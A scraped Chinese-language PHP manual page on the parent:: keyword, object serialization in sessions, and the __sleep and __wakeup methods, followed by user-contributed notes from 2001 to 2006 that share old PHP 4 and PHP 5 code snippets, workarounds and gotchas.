echo B::joke();
*/

/* Original */
/* Modify */
/*
class A {
   var $x;
   function A() { $this->x = 32; }
   function joke() {
       $this = new A;
       print "A::joke = " . $this->x . "<br>\n";
   }
}
class B extends A {
   var $x;
   function B() {
       parent::A();
       $this->x = 44;
   }
   function joke() {
       parent::joke();
       $this = new B;
       print "B::joke = " . $this->x . "<br>\n";
   }
}

echo A::joke();
echo B::joke();

//print Show
A::joke = 32
A::joke = 32
B::joke = 44
*/
James Sleeman
10-Jan-2004 10:27
It should be noted that when using parent:: you are able to call a method defined within the parent, or any class that the parent is extending.. for example.

<?php
  class A
  {
   function test()
   {
     echo 'Hello ';
   }
  }

  class B extends A
  {

  }

  class C extends B
  {
   function test()
   {
     parent::test();
     echo 'Bobby.';
   }
  }

  $D =& new C();
  $D->test();
?>

Outputs "Hello Bobby.", the fact that B does not define test() means that A's test() is called, it should also be noted that test() is called in the context of an 'A' class, so if you try and call parent:: in A's test() it will correctly fail.

It's also worth noting that parent:: also works fine in a static method, eg <?php  C::test(); ?> still outputs "Hello Bobby.", and you can even do <?php B::test(); ?> which correctly outputs "Hello ", even though we're calling a static method that lives in an ancestor class!
adrian dabrowski
15-Sep-2003 10:48
if you like to use the here suggested method of calling a parent constructer by using get_parent_class(), you will expirience undesired behaviour, if your parent is using the same technique.

class A {
  function A() {
     $me = get_class($this);
     echo "A:this is $me, I have no parent\n";
  }
}

class B extends A {
  function B() {
     $par = get_parent_class($this);
     $me = get_class($this);
     echo "B:this is $me, my parent is $par\n";

     parent::$par();
  }
}

class C extends B {
  function C() {
     $par = get_parent_class($this);
     $me = get_class($this);
     echo "C:this is $me, my parent is $par\n";

     parent::$par();
  }
}
new C();

this will not produce the output you probably expected:
C:this is c, my parent is b
B:this is b, my parent is a
A:this is a, i have no parent

...but insted you will get in serious troubles:
C:this is c, my parent is b
B:this is c, my parent is b

Fatal error:  Call to undefined function:  b() in .............. on line 16

$this is always pointing to the 'topmost' class - it seems like this is php's way to cope with polymorphic OOP.
hustbaer
24-Aug-2003 01:37
something on the note of 'minoc':

in this setup, the "$this->$par();" will lead to infinite recursion...

class foo extends bar {
  function foo() {

   $par = get_parent_class($this);
   $this->$par();

   // then normal constructor stuff.
   // ...
  }

  function bar()
  {
   echo "this makes no sense, but who cares :)";
  }
}

but the problem is easity fixed by going like so:

class foo extends bar {
  function foo() {

   $par = get_parent_class($this);
   parent::$par();

   // then normal constructor stuff.
   // ...
  }

  function bar()
  {
   echo "this makes no sense, but who cares :)";
  }
}
mazsolt at yahoo dot com
05-Jul-2003 06:04
There is a difference between PHP and C# managing the overloaded variables of the parent class:
[PHP]
class a{
var $a=1;
function display(){
echo $this->a;
}
}

class b extends a{
var $a=9;
}

$x=new b;
$x->display(); // will display 9

The same code in C# will display the value from the parent class.

[C#]
class a{
private int a=1;
public int display(){
return this.a;
}
}

class b:a{
private int a=9;
}

b x = new b();
Response.Write(b.display()); // will display 1
horne at teradyne dot com
27-Mar-2003 12:09
I've been scouring through the comments but haven't been able to find an example of how to use variable overriding. The manual hints that it is possible, but there aren't any examples. See the code for what I want to do:

class A {
  var $x;

  function A() {
   $this->x = 32;
  }

  function joke() {
   print "A::joke" . A::x . "<br>\n"; # SYNTAX ERROR!!
  }
}

class B extends A {
  var $x;

  function B() {
   parent::A();
   $this->x = 44;
  }

  function joke() {
   parent::joke();
   print "B::joke " . $this->x . "<br>\n";
  }
}

I want the following output when I call B::joke:

A::joke 32
B::joke 44

what do I get if I replace the A::x with $this->x?

A::joke 44
B::joke 44

How do I set the variable $x in the base class? Or, how do I get $this to point to the part of the class that is owned by class A?

I've tried the following (quite invalid) syntaxes:
A::x
A::$x
${A::x}
A::{$this->x}

It'd be nice to have a concrete example of how to access (read and write) parent variable members, or explicitly say that it is not possible to do that.
lelegiuly at iol dot it
25-Mar-2003 12:18
Sorry but my example above it's correct only if there's one class that inherits by another class. If the hierarchical tree is deeper than 2 my example doesn't work. The result is a infinite loop cycle.
Why? Because the only instanced object is the B class (in my example).

$this alwais refer to instanced object.

See also the "sal at stodge dot org" notes in 4 October 2002.
lelegiuly at iol dot it
07-Mar-2003 12:46
If you like Java and you have to call parent constructor, this is my method:

class object {
   function super() {
     $par = get_parent_class($this);
     $this->$par();
   }
}
class A extends object {
   function A() {
     echo "A constructor\n";
   }
}
class B extends A {
   function B() {
     $this->super();
     echo "B constructor\n";
   }
}

Include the classes above, instance a new B class and this is the output:

A constructor

B constructor

In your web application every class will extend the object class.
Good luck, Emanuele :)
Dan
02-Mar-2003 09:03
I agree with "anonymous coward". That syntax seems silly in a constructor and only results in an extra function being called. The only time the parent will ever change is if you change the extends expression in your class definition.

However, the parent:: syntax is very useful when you need to add extra functionality to a method of a child class which is already defined in the parent class.

Example:

class foo {
   var $prop;

   function foo($prop = 1) {$this->prop = $prop;}

   function SetProp($prop) {$this->prop = $prop;}
}

class bar extends foo {
   var $lastprop;

   function bar($prop = NULL) {
     is_null($prop) ? $this->foo() : $this->foo($prop);
   }

   function SetProp($prop) {
     $this->lastprop = $this->prop;
     parent::SetProp($prop);
   }
}
anonymous at cowards dot com
08-Dec-2002 04:48
Um, reading through all the gyrations on getting C++ constructor
semantics from PHP, I am wondering if I am just blindly missing something
when I use:

class A {
   function A () {  echo "A Constructor\n"; }
}

class B extends A {
   function B () { $this->A (); echo "B Constructor\n"; }
}

class C extends B {
   function C () { $this->B (); echo "C Constructor\n"; }
}

$c = new C ();

produces:

A Constructor
B Constructor
C Constructor

I'm new to PHP, but it seems to me that this is simpler and cleaner
than the solutions discussed here, with the only disadvantage being that
when you change the name of your superclass you have to change one
line in your subclass.

What am I missing? Are there advanced PHP-OO considerations that
make this code undesireable??
aid at logic dot org dot uk
06-Dec-2002 04:27
With regard to the chaining of Constrcutures, surely this is a simple and replaible method..?

<?php
class A
  {
  function A()
   {
   print "Constructor A<br>\n" ;
   }
  }

class B extends A
  {
  function B()
   {
   parent::A () ;
   print "Constructor B<br>\n" ;
   }
  }

class C extends B
  {
  function C()
   {
   parent::B ();
   print "Constructor C<br>\n" ;
   }
  }

$o = new C;
?>
Which outputs,

Constructor A
Constructor B
Constructor C
sal at stodge dot org
04-Oct-2002 12:57
<p>When using the technique suggested by "<b>minoc at mindspring dot com</b>" on this page - USE EXTREME CAUTION.</p>

The problem is that if you inherit of a class that uses this kludge in the constructor you will end up with a recursive constructor - unless that new class has a constructor of it's own that by-passes the kludged constructor.

What I am saying, is you can use this technique as long as you can ensure that each class you inherit from a class containing this technique in the constructor has a constructor class of it's own that does not call the parent constructor...

On balance it is probably easier to specify the name of the constructor class explicitly!

If you make this mistake the symptoms are pretty easy to spot - PHP spirals into an infinitely recursive loop as soon as you attempt to construct a new class. Your web-server will returns an empty document.
mwwaygoo at hotmail dot com
20-Sep-2002 11:54
With the example given previous from johnremovethreewordsplatte@pobox.com

You should only do this if your initialisation is different (no point in extending if it isn't)

When you extend a class its constructor still remains valid and is executed when constructed.  Writing a new constructor in the extended class overwrites the old one - inheritance.

so the following will also work

class Superclass {
function Superclass($arg) {
$this->initialize($arg);
}
function initialize($arg) {
$this->setArg($arg);
}
}

class Subclass extends Superclass {
//initialize() is inherited:
//BUT so is constructor

function extra_stuff($arg) {
echo "extra stuff " . $arg;

}
}

THE constructor is the function who's name is the same as the class that it is defined within.
AND remains the constructor even in extended classes, until redefined.

Think of the constructor as a seperate function from all the others.  As if PHP looks at your class and makes a copy of the function of the same name as the class and calls it "Constructor".

You can also create a function within the extended class with the same name as the constructor in the parent class without re-writing the constructor.  Because you are not altering the "Constructor" function.
(BUT any redefined variables are used in the constructor, as expected)

ie
class One
{
  var $v = "one";

  function One()
  {
   print "Class One::Constructor value=" . $this->v . "<br />\n";
  }
}

class Two extends One
{
  var $v = "two";

  function one()
  {
   print "REDEFINED : Class Two::Function One value=" . $this->v . "<br />\n";
  }
}

$o = new One();
$o->one();
$p = new Two();
$p->one();

results in :-
Class One::Constructor value=one
Class One::Constructor value=one
Class One::Constructor value=two
REDEFINED : Class Two::Function One value=two
johnremovethreewordsplatte at pobox dot com
13-Aug-2002 08:16
Combining the above suggestions with the "Pull Up Constructor Body" refactoring from Fowler (http://www.refactoring.com/catalog/pullUpConstructorBody.html), I found an elegant way to inherit constructors in PHP. Both superclass and subclass constructors call an initialize() method, which can be inherited or overridden. For simple cases (which almost all of mine are), no calls to parent::anything are necessary using this technique. The resulting code is easy to read and understand:

class Superclass {
   function Superclass($arg) {
       $this->initialize($arg);
   }
   function initialize($arg) {
       $this->setArg($arg);
   }
}

class Subclass extends Superclass {
   function Subclass($arg) {
       //initialize() is inherited:
       $this->initialize($arg);
   }
}
gibby at onebox dot com
15-Jun-2002 07:25
Regarding the example above, I believe the result is misleading, if you're inferring that the $this in Class One's OneDo method refers to One.

If that wasn't your conclusion, then my apologies-- I misunderstood you.

But if it was, it might save trouble to note that $this is effectively an alias for $o (a Class Two object).  $v is available to $o, and that's how it's being picked up.  $this is $o in that example, not One (One is a class and has no implementation).

I hope that's helpful.

Brad
seedpod23 at hotmail dot com
30-May-2002 02:19
This example might illustrate something which was unclear to me when using the $parent::method() syntax.

I didn't see any documentation on whether or not $this (object variables) would be available in the parent class method so I wrote this example:

class One {

  var $v = "one";

  function OneDo() {
   print "One::OneDo " . $this->v . "<br>\n";
  }
}

class Two extends One {

  function CallParent() {
   parent::OneDo();
  }
}

$o = new Two();

$o->CallParent();

The output is "One::OneDo one", happy day!
php at earthside dot arg
09-Apr-2002 01:41
Here is the workaround I came up with based on the comments about using a 'constructor' method and the parent:: syntax...

#cat test.php
<?php
class foo {
  function foo() { $this->constructor(); }
  function constructor() {
   echo get_class($this)." (foo)\n";
  }
}
class bar extends foo {
  function bar() { $this->constructor(); }
  function constructor() {
   echo get_class($this)." (bar)\n";
   parent::constructor();
  }
}
class baz extends bar {
  function & baz() { $this->constructor(); }
  function & constructor() {
   echo get_class($this)." (baz)\n";
   parent::constructor();
  }
}
$o = new baz;
?>
#php test.php
X-Powered-By: PHP/4.1.2
Content-type: text/html

baz (baz)
baz (bar)
baz (foo)
#

--
'a' -> 'o' in email TLD
minoc at mindspring dot com
08-Sep-2001 07:52
w/ PHP 4.0.5, I was able to chain
my constructors easily with:

class foo extends bar {
  function foo() {

   $par = get_parent_class($this);
   $this->$par();

   // then normal constructor stuff.
   // ...
  }
}
tim dot parkinson at ntlworld dot com
28-Jul-2001 08:37
There is an implication here that variables of the parent class are available.  You can't access variables using parent::
venome at gmx dot net
25-Jun-2001 11:57
If you have a complex class hierarchy, I find that it's a good idea to have a function constructor() in every class, and the 'real' php constructor only exists in the absolute base class.

From the basic constructor, you call $this->constructor(). Now descendants simply have to call parent::constructor() in their own constructor, which eliminates complicated parent calls.
add a note add a note

后退 | 起点 | 前进
作用域分辨运算符（::） | 上一级 | 序列化对象 － 会话中的对象


序列化对象 － 会话中的对象

注: 在 PHP 3 中，在序列化和解序列化的过程中对象会失去类的关联。结果的变量是对象类型，但是没有类和方法，因此就没什么用了（就好像一个用滑稽的语法定义的数组一样）。

注意

以下信息仅在 PHP >= 4 中有效。

serialize() 返回一个字符串，包含着可以储存于 PHP 的任何值的字节流表示。unserialize() 可以用此字符串来重建原始的变量值。用序列化来保存对象可以保存对象中的所有变量。对象中的函数不会被保存，只有类的名称。

要能够 unserialize() 一个对象，需要定义该对象的类。也就是，如果序列化了 page1.php 中类 A 的对象 $a，将得到一个指向类 A 的字符串并包含有所有 $a 中变量的值。如果要在 page2.php 中将其解序列化，重建类 A 的对象 $a，则 page2.php 中必须要出现类 A 的定义。例如可以这样实现，将类 A 的定义放在一个包含文件中，并在 page1.php 和 page2.php 都包含此文件。

<?php
// classa.inc:
  class A {
      var $one = 1;

      function show_one() {
          echo $this->one;
      }
  }

// page1.php:
  include("classa.inc");

  $a = new A;
  $s = serialize($a);
  // 将 $s 存放在某处使 page2.php 能够找到
  $fp = fopen("store", "w");
  fwrite($fp, $s);
  fclose($fp);

// page2.php:
  // 为了正常解序列化需要这一行
  include("classa.inc");

  $s = implode("", @file("store"));
  $a = unserialize($s);

  // 现在可以用 $a 对象的 show_one() 函数了
  $a->show_one();
?>

如果在用会话并使用了 session_register() 来注册对象，这些对象会在每个 PHP 页面结束时被自动序列化，并在接下来的每个页面中自动解序列化。基本上是说这些对象一旦成为会话的一部分，就能在任何页面中出现。

强烈建议在所有的页面中都包括这些注册的对象的类的定义，即使并不是在所有的页面中都用到了这些类。如果没有这样做，一个对象被解序列化了但却没有其类的定义，它将失去与之关联的类并成为 stdClass 的一个对象而完全没有任何可用的函数，这样就很没有用处。

因此如果在以上的例子中 $a 通过运行 session_register("a") 成为了会话的一部分，应该在所有的页面中包含 classa.inc 文件，而不只是 page1.php 和 page2.php。

add a note add a note User Contributed Notes
zabmilenko at hotmail dot com
10-Mar-2006 09:20
This was something that surprised me when I was testing serialization tonight.  Consider the following code:

<?php

// Note that the only difference between the classes
// is the scope of their only property.

class Test1 { protected $key = 'value'; }
class Test2 { private  $key = 'value'; }
class Test3 { public    $key = 'value'; }

$t1 = new Test1;
$t2 = new Test2;
$t3 = new Test3;

echo "<pre>";
echo "Protected Size: " . strlen(serialize($t1)) . "\n";
echo "Private Size:  " . strlen(serialize($t2)) . "\n";
echo "Public Size:    " . strlen(serialize($t3)) . "\n";
echo "</pre>";

?>

When I executed this code on my PHP 5.1.2/WinXPHsp1/Apache2 setup, the result was the following:

<?php

Protected Size: 41
Private Size:  46
Public Size:    38

?>

It may be useful for you to take it into consideration, just in case.
tatwane at hotmail dot com
09-Mar-2006 03:35
if you are using many fields in your database and want to reduce the number of requests to speed up database access, a good idea is to use objects instead of tables, to serialize them and store them into an unique field with an id and then to retrieve them and unserialize them

this could also make your database more simple when using many fields
maurits_dekkers at DONTSPAM_ME dot planet dot nl
19-Dec-2005 08:35
If you have register_globals = on, then be very careful about naming conventions when it comes to sessions and objects.

Example:

<?php

/* Setting the session variable, which becomes "$order" if register_globals is on */
session_start()
$_SESSION["order"] = "SomeValue";

/* Instantiating an object with the same name as the session variable */
$order = new Classname;

?>

This will activate the __PHP_Incomplete_class object within your session variable! This, all references and methods to $order will not work.

Took me hours to figure this out, so I hope this is helpful.
fluw at gmx dot net
14-Aug-2005 12:06
never serialize an object, if it contains references to itself. Just create the object in an array, or make a reference of this object in an array before calling serialize() and serialize the array instead of the object.

print_r is fine to validate a reference: The reference will be serialized in a right way, if print_r returns a *recursive* on right place (look carefully).

Just have a look on this small example:

<?
   class foo {
       var $bar;

       function addBar() {
           $this->bar = new bar(&$this);
       }
   }

   class bar {
       var $parentFoo;

       function bar(&$partentBean) {
           $this->parentFoo =& $partentBean;
       }
   }

   $foo = new foo();
   $foo->addBar();

   $fooArray = array(&$foo);

   echo "<pre>";
       print_r($foo);
       echo serialize($foo);
   echo "</pre>";

       echo "<pre>";
       print_r($fooArray);
       echo serialize($fooArray);
   echo "</pre>";

?>

OutPut:

foo Object
(
   [bar] => bar Object
       (
           [parentFoo] => foo Object
               (
                   [bar] =>  *RECURSION*
               )

       )

)
O:3:"foo":1:{s:3:"bar";O:3:"bar":1:{s:9:"parentFoo";O:3:"foo":1:
{s:3:"bar";O:3:"bar":1:{s:9:"parentFoo";R:3;}}}} //sorry for linebreak

Array
(
   [0] => foo Object
       (
           [bar] => bar Object
               (
                   [parentFoo] =>  *RECURSION*
               )

       )

)
a:1:{i:0;O:3:"foo":1:{s:3:"bar";O:3:"bar":1:{s:9:"parentFoo";R:2;}}}

if you serialize the object, the the refernce becomes a copy an first the reference inside the copy is a real reference, (but just only to the copy, for sure :).
nate at NO-SPAMnatereed dot com
26-May-2005 12:31
I can't store an instance of MySQLPagedResultSet (I grabbed this code from Kevin Yank at Sitepoint) in my session without losing all the data.  This seems related to the previous post since the result set member variable is from calling mysql_query().  It doesn't get serialized properly and when I retrieve it from the session the result set is empty.

My workaround is store the query (ie. select * from mydata where id in (1,2,3...)) instead of the result set.  In this particular case, it works beautifully and yields a big performance boost, since the id's are generated from several other queries that can now be avoided.  With query caching on in mysql, I would not be surprised if this is just as fast or faster than retrieving the result set from the session.  There are fewer potential data synchronization problems, too, since the info from mydata is fresh.
kendlj at NOSPAM dot web dot de
21-Apr-2005 08:51
Was wondering, if References are also lost after serializing and deserializing in php5.

Wrote a testfile and my result is:
All references are restored corretly. Even if the classes where recursively referenced.

Here is the code of the file:

<?
//check refereneces

class A
{
   public $a_var;
   /**
   * @var B
   */
   public $parent;

   public function __construct($parent)
   {
       $this->parent=$parent;
   }
}

class B
{
   /**
   * @var A
   */
   public $Ref_auf_A;
   /**
   * @var A
   */
   public $aObj;

   public $name="";

   public function __construct($InhaltA)
   {
       $this->aObj=new A($this);
       $this->aObj->a_var=$InhaltA;

       $this->Ref_auf_A=$this->aObj;
   }
}

$B_obj = new B("Inhalt von A");
$B_obj->name="My is <defaultName>";

echo "Object B before serializing:<pre>";
print_r($B_obj);
echo "</pre><br><br>";

$serB=serialize($B_obj);
echo "Object B serialized: ".$serB."<br><br>";

$B_obj = unserialize($serB);
echo "Object B deserializedt:<pre>";
print_r($B_obj);
echo "</pre><br><br>";

$B_obj->Ref_auf_A->a_var="Test";
echo "Object A reference content changed, should have changed everywhere:<pre>";
print_r($B_obj);
echo "</pre><br><br>";

//Change name of object where A parent references to.
$B_obj->Ref_auf_A->parent->name="My name changed";

echo $B_obj->name;

?>
fdreger at amiga dot pl
20-Mar-2005 09:43
It seems that serializing an object dereferences all its attributes that were references - even if the object they referenced was contained within the serialized one.
Consider this example:

<?
class foo {
  var $a=new array();
}

$example=new foo;
$obj=new whatever();
$example->a[]=&$obj;
$example->a[]=$obj;

//now $example contains a list with
//both: an object and a reference to that object

//let us serialize and immediately unserialize $example:

$string=serialize(example);
$example=unserialize(string);

//now the situation is completely different!
//$example contains just two identical objects,
//the reference is lost
?>
evan dot php dot net at timewarp dot org
03-Jun-2004 06:45
A special gotcha for unserializing stored objects.  If you alter the class (adding new methods), they will appear and be available when the object is unserialized.  If, however, you alter the parent class that the class extends, the methods are *not* available, and any renamed ones silently vanish (the method disappears and does not reappear under the new name).

A way to get around this is to create a new dummy method in the child class and rename it each time you alter the parent class.  This is very much a Bad Solution when you have to deal with a base class that is extended by dozens of other classes.  Especially when you have a database full of serialized objects, each of which is a child of the base class.  There appears to be no runtime fix.

Applies to PHP 4.  Not sure about 5.
markg at byu dot edu
06-May-2004 07:32
When working with a installation where Register Globals if off.  You must remeber to use $_SESSION['objectName'] to  store objects that will be used on multiple pages.

To re-use a saved object, you must define your object (i.e. include it's class file) before you call session_start(), or the object becomes unusable.
arthurp at nospam free dot fr
22-Nov-2003 05:00
Good news when serializing a class and then reading it back into the similar or modified class.
PHP behaves very well when a class was serialized and then it is unserialized to initialize similar class or when the class was modified meanwhile.

Try this sample:
First version of the class A contains members $one and $three. An instance of this class is stored into the file.

The second version of the class A contains members $one as in prevoius but it also contains $two and and it doesn't contain $three member. The file is read back.
Resulting class is still working !

<?php
/////////////////////////////
// classa.inc:
class A
{
   var $one = 1;
   var $three = 3;
   function show_one(){ echo $this->one."<br>";}
}

/////////////////////////////
// classa_modified.inc:
class A
{
   var $two = 2;
   var $one = 1;

   function show_one(){ echo $this->one."<br>"; }
   function show_two(){ echo $this->two."<br>"; }
}

/////////////////////////////
// teststore
include("classa.inc");

$a = new A;
$s = serialize($a);
// store $s somewhere where page2.php can find it.
$fp = fopen("savedclass.tmp", "w");
fputs($fp, $s);
fclose($fp);

$a->show_one();
var_dump($a);

/////////////////////////////
// testreadmodified.php:
include("classa_modified.inc");

$s = implode("", @file("savedclass.tmp"));
$a = unserialize($s);

// now use the function show_one() of the $a object.
$a->show_one();
$a->show_two();
var_dump($a);
?>

Resulting Output:
1
2
object(a)(3) { ["two"]=> int(2) ["one"]=> int(1) ["three"]=> int(3) } ?>

Note:
- $one member is unserialized normally
- $two member exist after unserialisation and it's well initialised with value 2
- show_two() function is working after unserialization
- $thee member exist was loaded too even if it isn't declared in modified version of the class !
okoro22 at yahoo dot com
05-Mar-2003 09:21
I had a problem using session_register() to globally store a class that I was working with. I hope my solution will help beginners understand this concept of sessions in PHP

When you use session_register() to store any object, yes you don't need to call session_start() unless you want to. However in other pages where you want to use that object, you must call session_start() after you have included the class definition of the file. Failure to do this will unserlize your object without its functions and it will be pretty useless.

Hope it helps someone.

Cheers.
dan at binaryfrost dot net
16-Nov-2002 02:10
Serialization is very useful for the storing of objects in databases.
The following example stores an obbect in a mySQL db:

# Seperate Class.
include 'thisObjectClass.php';

# Create instance of a class.
$object = new thisObjectClass;

# Create link to the database
$link = mysql_connect('host', 'user', 'password');
mysql_select_db('dbname', $link);

# Formulate query and submit.
$sql_query = mysql_query("INSERT INTO objecttable(object) VALUES (serialize($object)") or print (mysql_error());

# Retrieve blob object.
$sql_query = mysql_query("SELECT object FROM objecttable WHERE 1) or print (mysql_error());
$row = mysql_fetch_row($sql_query);

# This should show string / text data.
print $row[0];

# This should show 'object'.
print unserialize($row[0])."<br>";

# Close db link.
mysql_close($link);
michael at nospam dot dynamine dot net
15-Nov-2002 01:07
Don't forget to lock your storage file using flock() before opening the file you wish to use to store your serialized object(s)!    PHP will make no attempt to prevent two threads or processes from writing to your file at the same time and you can easily end up with a corrupted data store unless you serialize access to your storage.  (Note that using NFS for your storage may not be lock-safe.)
evan at unixpimps dot org
25-Aug-2002 02:26
A quick note about objects containing another object as a variable. Say you have something like this:

class A {
var $A_Var;
}

class B {
var $A
var $B_Var;
function B() {
$this->A = new A();
}
}

$B = new B();
$B->A->A_Var = "A_Var value";

---

When you try to serialize() an instance of B() $B->A->A_Var doesn't seem to keep it's value.

After much fighting with this the solution I found was to append to my __sleep and __wakeup functions and serialize $this->A in __sleep and then unserialize it in __wakeup.

class A {
var $A_Var;
}

class B {
var $A
var $A_serialized;
var $B_Var;
function B() {
$this->A = new A();
}

function __sleep() {
$this->A_serialized = serialize($this->A);
return array('A_serialized', 'B_Var');
}
function __wakeup() {
$this->A = unserialize($this->A_serialized);
}
}
felizk at hotmail dot com
09-Jul-2002 03:31
Got around the session_auto_start problem by using:

session_write_close();
class defination
session_start();

works for me
I hate spam
08-Jul-2002 03:57
The deserialize callback function is pretty useless if you name your classes and files using title case (ie ClassName.php), because PHP changes all classnames to lower case!!!
ndp9 at yahoo dot com
27-May-2002 08:13
In case this isn't clear:
In 4.2 and below: session.auto_start and session objects are mutually exclusive.
hhuggins at fedex dot com
18-Apr-2002 04:52
The problem with objects during session management arise because the object definition must exist before starting the session.  i.e. if you have object x and you want to use it in a session, you have to perform the following.

<?

class x
{
...definition here
}

// php now knows what x is... start the session

session_start();
session_register("x_as_variable");

?>

if object x is defined in another file, make sure that the file is included or required BEFORE you start the session.

<?
require("x.inc");

session_start();
session_register("x_as_variable");
?>

This stops the INCOMPLETE_OBJECT response eliminating the need to create an array representation for an object.
ggiulb at netscape dot net
17-Mar-2002 11:00
PHP.INI FILE AND SESSION.AUTO_START

Set

session.auto_start = 0

in php.ini file if you want that all works well during serialization/unserialization.

If session.auto_start is set to 1 all class definition is loaded after unserialization process, infact you obtain a messagge error  like this "The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition className of the object you are trying to operate on was loaded _before_ the session was started in scriptFile on line n"
grant_mjtr at hotmail dot com
21-Feb-2002 05:15
A quick note about automatic serialisation in sessions.

If you have an object
$myCart = new ShoppingCart();

and this object contains variables which are objects
function ShoppingCart()
{
   $mySingleItem = new BasketItem();
}
this will work fine and you can access the contained object $mySingleItem and its methods etc ONLY WHILE YOU ARE ON THE PAGE WHERE YOU CREATED IT.

if you are using sessions and register the cart
session_register('myCart')

the ShoppingCart object is serialised and unserialised on the next page ok but the inner BasketItem object is just garbled.

The only solution I have found is to use an array in the ShoppingCart instead of an object.  What a pain!
william at scriptingbiz dot com
22-Sep-2001 08:03
When storing an object that was generated with:

 $row = mysql_fetch_object($result)

there is no apearent way to define the class of that object in the next page, without querying the database, and fetching a row as an object.  This needs to be done so any such objects can be restored (deserialized) from a PHP4 Session.

It needs to be done before session_start() or session_register().
add a note add a note

后退 | 起点 | 前进
parent | 上一级 | 魔术函数 __sleep 和 __wakeup


魔术函数 __sleep 和 __wakeup

serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样，该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接，提交等待中的数据或进行类似的清除任务。此外，如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

相反地，unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在，此函数可以重建对象可能具有的任何资源。

使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

add a note add a note User Contributed Notes
cwfsp at hizzotmail dizzot cizzom nospam
20-Sep-2005 09:35
Following up to rkelly at NO dot whitley dot unimelb dot SPAM dot edu dot au's note regarding __sleep()

__sleep expects you to return an array of object variables that are allowed to be serialized.

Not returning this array -will- result in your object not being serialized, and -will- cause headaches. If you need __sleep() to do cleanup:

1) do your cleanup
2) return the object variables in an array using the code from the comment from php at sharpdreams dot com (below)

search phrases to help people find this info:
php object will not (does not) work in session
session object will not work in subsequent page views
my object won't show up on next page
07-Jan-2005 12:09
There is a weird behavior occuring when serializing/unserializing a class derived from a (abstract) base class. The base may not unserialize itself if it has private members, because even if the derived class' __wakeup function is contains only parent::__wakeup() as its code, the unserialization takes place from the children's __wakeup() function and the parent's __wakeup() wont be called (as of php 5.0.3) and hence, private members from the parent wont ever be restored, even though they do serialize properly. This might/might not be a bug, but it is evil and is works not nicely with object oriented concepts. A workaround would be to put the base class' members protected or to (un)serialize manually the base class' via its derived class' __sleep() and __wakeup()
j dot gizmo at aon dot at
28-Sep-2004 08:48
re: last post
are you sure the problem with global variables doesn't arise from the use of references?

<?
class test
{
  function __wakeup ()
  {
   global $link;

   //will not work
   $link =& $this;

   //will work
   $GLOBALS['link'] =& $this;
  }
}
?>

see the section on references for further details
Eric at Footsteps dot nl
02-Jul-2004 06:29
It appears, that although __wakeup() can read from global defined variables // global $variable; , changing those variables don't affect them outside __wakeup().

The same thing seems to happen when an object is being serialized in a session when you start your session. if your __wakeup() function tries to set something within your session it might get overwritten/lost. In my situation it happened when an object in an object in a session tried to change a session variable on __wakup().
In my case, putting the variable in $GLOBAL and moving the variable in the session at a later time, is a satisfying workaround.
php at sharpdreams dot com
09-May-2004 03:11
To cut down the code in jan at sorgalla dot com's solution:

<?php
class foo {
  function __sleep() {
     return( array_keys( get_object_vars( &$this ) ) );
  }
}
?>
jacobmather at dwsc dot net
21-Nov-2003 08:23
Something interesting to point out...

the magic __wakeup() function has access to global variables... such as... $_POST! How interesing... I think i'm going to use this to enhance template handeling. Interesting to think of though. Just make your template object referance the information it needs from inside the __wakeup routine, and make it display the initial page when the constructor is run... store it in a session variable.

Sorry I don't have any code examples at the time... but it's just another odd option you have, like variable variable functions ... (i.e. $c = 'count'; $NumOfEntries = $c($array);)
mccann at cs dot usm dot maine dot edu
12-Jul-2003 01:38
It is difficult to store objects in sessions as PHP doesn't necessarily have the correct class definitions on hand to unserialize the objects. Below is a simple session class that can act as a container for objects, but you have to pass the path to the class definition for this to work...

Assume you have this class defined in Session.php:

class Session
   {
   # attributes
   var $_objects;        # hash of named objects- of anything you want! Woot!
   var $_classes;        # hash of classes- This should import all classes required for objects in the session
   var $_saved_objects;

   function Session()
       {
       if (isset($_SESSION['__SESSSION_GLOBAL_OBJ']))
           {$this=$_SESSION['__SESSSION_GLOBAL_OBJ'];}
       else
           {
           $this->_objects=array();
           $this->_classes=array();
           $this->_saved_objects=array();
           $_SESSION['__SESSSION_GLOBAL_OBJ']=$this;
           }
       }

   function setObject($name,&$object/*, Required Class Paths */)
       {
       for ($i=2;$i<func_num_args();$i++)
           {
           if (!in_array(func_get_arg($i),$this->_classes))
               {$this->_classes[]=func_get_arg($i);}
           }
       $this->_objects[$name]=&$object;
       }

   function getObject($name)
       {
       if (isset($this->_objects[$name]))
           {return $this->_objects[$name];}
       return false;
       }

   function __sleep()
       {
       # Serialize all objects
       $keys = array_keys($this->_objects);
       for ($i=0;$i<count($keys);$i++)
           {$this->_saved_objects[$keys[$i]] = serialize($this->_objects[$keys[$i]]);}

       return array("_saved_forms","_saved_objects","_classes");
       }

   function __wakeup()
       {
       # include all classes needed to unserialize objects in this session
       for ($i=0;$i<count($this->_classes);$i++)
           {include_once($this->_classes[$i]);}

       # unserialize objects
       $keys = array_keys($this->_saved_objects);
       for ($i=0;$i<count($keys);$i++)
           {
           $this->_objects[$keys[$i]] = unserialize($this->_saved_objects[$keys[$i]]);
           unset($this->_saved_objects[$keys[$i]]);
           }
       }
   }

session_start();

if (!isset($_SESSION['__SESSSION_GLOBAL_OBJ']))
   {$_SESSION['__SESSSION_GLOBAL_OBJ'] = new MSSession();}

$SESSION = &$_SESSION['__SESSSION_GLOBAL_OBJ'];

=========================================================

Now assume you have another class called MyClass defined in MyClass.php.... you can store it in the session as such:

include_once('Session.php');
include_once('stuff/MyClass.php');

$joe = new MyClass(/*arguments*/);

$SESSION->setObject('joe',$joe,'stuff/MyClass.php');

=========================================================

On another page you can retrieve this object from the session...

include_once('Session.php');

$joe = &$SESSION->getObject('joe');

=========================================================
This works, but you HAVE to pass setObject the path of every class definition you need to use the object you're embedding.
darrylkuhn at hotmail dot com
12-May-2003 11:04
This is pretty obvious, but as a note the __wakeup method cannot be used to require in the definition of the class for deserialization (although it would be nice... perhaps in future versions of php serialization might store the __wakeup method when an object is serialized to accomplish this).
adamh at densi dot com
18-Apr-2003 01:46
Correction to the above:

If you want to make sure all variables in your class are serialized, don't write a __sleep() function.
jan at sorgalla dot com
08-Apr-2003 12:31
